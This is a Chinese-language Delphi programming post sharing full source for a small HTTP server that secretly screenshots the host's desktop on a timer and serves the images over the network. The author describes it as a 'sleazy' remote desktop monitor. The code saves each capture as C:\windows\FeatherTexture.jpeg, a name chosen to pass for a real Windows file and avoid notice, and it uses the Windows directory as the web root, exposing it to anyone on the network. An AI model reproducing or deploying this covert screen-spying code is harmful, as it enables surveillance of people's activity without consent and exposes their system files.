主页 > 编程资料 > Delphi >
发布时间:2015-09-22 作者:网络 阅读:153次

简单的webserver而已,不过实现的功能有些猥琐,可以在远程监控你的桌面一举一动~~
代码如下:
unit Main;interfaceuses  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,  ActnList, StdCtrls, IdComponent, IdTCPServer, IdHTTPServer, Buttons,  ComCtrls, IdGlobal, IdBaseComponent, IdThreadMgr, IdThreadMgrDefault, syncobjs,  IdThreadMgrPool, ExtCtrls, IdIntercept, IdIOHandlerSocket,  IdCustomHTTPServer, idSocketHandle,shellapi, Winsock, jpeg;{偶承认这里是乱来的,我也不知道都use了啥,填了一堆...-_-!}type  TfmHTTPServerMain = class(TForm)    HTTPServer: TIdHTTPServer;    edPort: TEdit;    cbActive: TCheckBox;    edRoot: TEdit;    LabelRoot: TLabel;    Label1: TLabel;    Button1: TButton;    Label2: TLabel;    Timer1: TTimer;    procedure acActivateExecute(Sender: TObject);    procedure HTTPServerCommandGet(AThread: TIdPeerThread;      RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);    procedure FormCreate(Sender: TObject);    procedure FormDestroy(Sender: TObject);    procedure Button1Click(Sender: TObject);    procedure Timer1Timer(Sender: TObject);  private    UILock: TCriticalSection;    { Private declarations }  public    { Public declarations }    EnableLog: boolean;    MIMEMap: TIdMIMETable;  end;var  fmHTTPServerMain: TfmHTTPServerMain;    jiance:Boolean;implementationuses FileCtrl, IdStack;{$R *.DFM}function GetLocalIP: string;type   TaPInAddr = array[0..255] of PInAddr;   PaPInAddr = ^TaPInAddr;var   phe: PHostEnt;   pptr: PaPInAddr;   Buffer: array[0..63] of char;   i: integer;   GInitData: TWSADATA;begin   wsastartup($101, GInitData);   result := '';   GetHostName(Buffer, SizeOf(Buffer));   phe := GetHostByName(buffer);   if not assigned(phe) then     exit;   pptr := PaPInAddr(Phe^.h_addr_list);   i := 0;   while pptr^[I] <> nil do   begin     result := {Result +}StrPas(inet_ntoa(pptr^[I]^)) + ',';     inc(i);   end;   Delete(Result, Length(Result), 1);   wsacleanup;end;{获取IP的函数}procedure TfmHTTPServerMain.acActivateExecute(Sender: TObject);var  Binding : TIdSocketHandle;begin  if jiance  then  begin    cbActive.Checked:=True;    jiance:=False;  end   else   begin    cbActive.Checked:= False;    jiance:=True;   end;  if not HTTPServer.Active then  begin    HTTPServer.Bindings.Clear;    Binding := HTTPServer.Bindings.Add;    Binding.Port := StrToIntDef(edPort.text, 80);    Binding.IP := GetLocalIP;     caption := '已启动';  end;  if not DirectoryExists(edRoot.text) then  begin    cbActive.Checked:= False;  end  else  begin    if cbActive.Checked then    begin      try        HTTPServer.Active := true;      except        on e: exception do        begin          cbActive.Checked := False;        end;      end;    end    else    begin      HTTPServer.Active := false;       caption := '未启动';      // SSL stuff      HTTPServer.Intercept := nil;    end;  end;  edPort.Enabled := not cbActive.Checked;  edRoot.Enabled := not cbActive.Checked; end;procedure TfmHTTPServerMain.HTTPServerCommandGet(AThread: TIdPeerThread;  RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);var  LocalDoc: string;  ByteSent: Cardinal;begin    LocalDoc := ExpandFilename(edRoot.text + RequestInfo.Document);    if not FileExists(LocalDoc) then    begin      LocalDoc := ExpandFileName(LocalDoc);    end;    if FileExists(LocalDoc) then  begin        if AnsiSameText(RequestInfo.Command, 'HEAD') then        begin           ResponseInfo.ResponseNo := 200;           ResponseInfo.ContentText := '<html><head><title>截图页面</title></head><body>'+'<img src="http://'+GetLocalIP+':'+edPort.Text+'/FeatherTexture.jpeg"/>'+'</body></html>';        end        else        begin          ByteSent := HTTPServer.ServeFile(AThread, ResponseInfo, LocalDoc);         end;  end  else    begin      ResponseInfo.ResponseNo := 404;      ResponseInfo.ContentText := '<html><head><title>截图页面</title></head><body>'+'<img src="http://'+GetLocalIP+':'+edPort.Text+'/FeatherTexture.jpeg"/>'+'</body></html>';{edPort.Text是你设置的端口,windows目录下是有FeatherTexture.bmp的,为了掩人耳目,弄个差不多的FeatherTexture.jpeg~}  end;{这个webserver貌似还有些问题,结构是我从indy的demo上扒下来的,貌似每次返回的都是404代码,所以偶为了防止出问题,采用了上面那段代码,就算是404,404页面也是有图片的,嘿嘿~~}end;procedure TfmHTTPServerMain.FormCreate(Sender: TObject);begin  jiance:=True;  UILock := TCriticalSection.Create;  MIMEMap := TIdMIMETable.Create(true);    edRoot.text := 'C:\windows';  if HTTPServer.active then  caption := '已启动' else caption := '未启动';  Label2.Caption:= '当前IP:'+GetLocalIP;end;procedure TfmHTTPServerMain.FormDestroy(Sender: TObject);begin  MIMEMap.Free;  UILock.Free;end;procedure TfmHTTPServerMain.Button1Click(Sender: TObject);beginShellExecute(handle,nil,pchar('http://'+GetLocalIP+':'+edPort.Text),nil,nil,sw_shownormal);end;procedure TfmHTTPServerMain.Timer1Timer(Sender: TObject);varFullscreen:Tbitmap;FullscreenCanvas:TCanvas;dc:HDC;MyJPEG : TJPEGImage;beginFullscreen:=TBitmap.Create;Fullscreen.Width:=screen.width;Fullscreen.Height:=screen.Height;DC:=GetDC(0);FullscreenCanvas:=TCanvas.Create;FullscreenCanvas.Handle:=DC;Fullscreen.Canvas.CopyRect(Rect(0,0,screen.Width,screen.Height),fullscreenCanvas,Rect(0,0,Screen.Width,Screen.Height));FullscreenCanvas.Free;ReleaseDC(0,DC);myjpeg:= TJPEGImage.Create;myjpeg.Assign(Fullscreen);myjpeg.CompressionQuality:=100; //压缩比例,100是最清晰状态。myjpeg.Compress;trymyjpeg.SaveToFile('c:\windows\FeatherTexture.JPEG');//保存路径,可以随便选,但是一定要和上面的webserver路径吻合。myjpeg.Free;fullscreen.free;exceptend;end;end.

关键字词: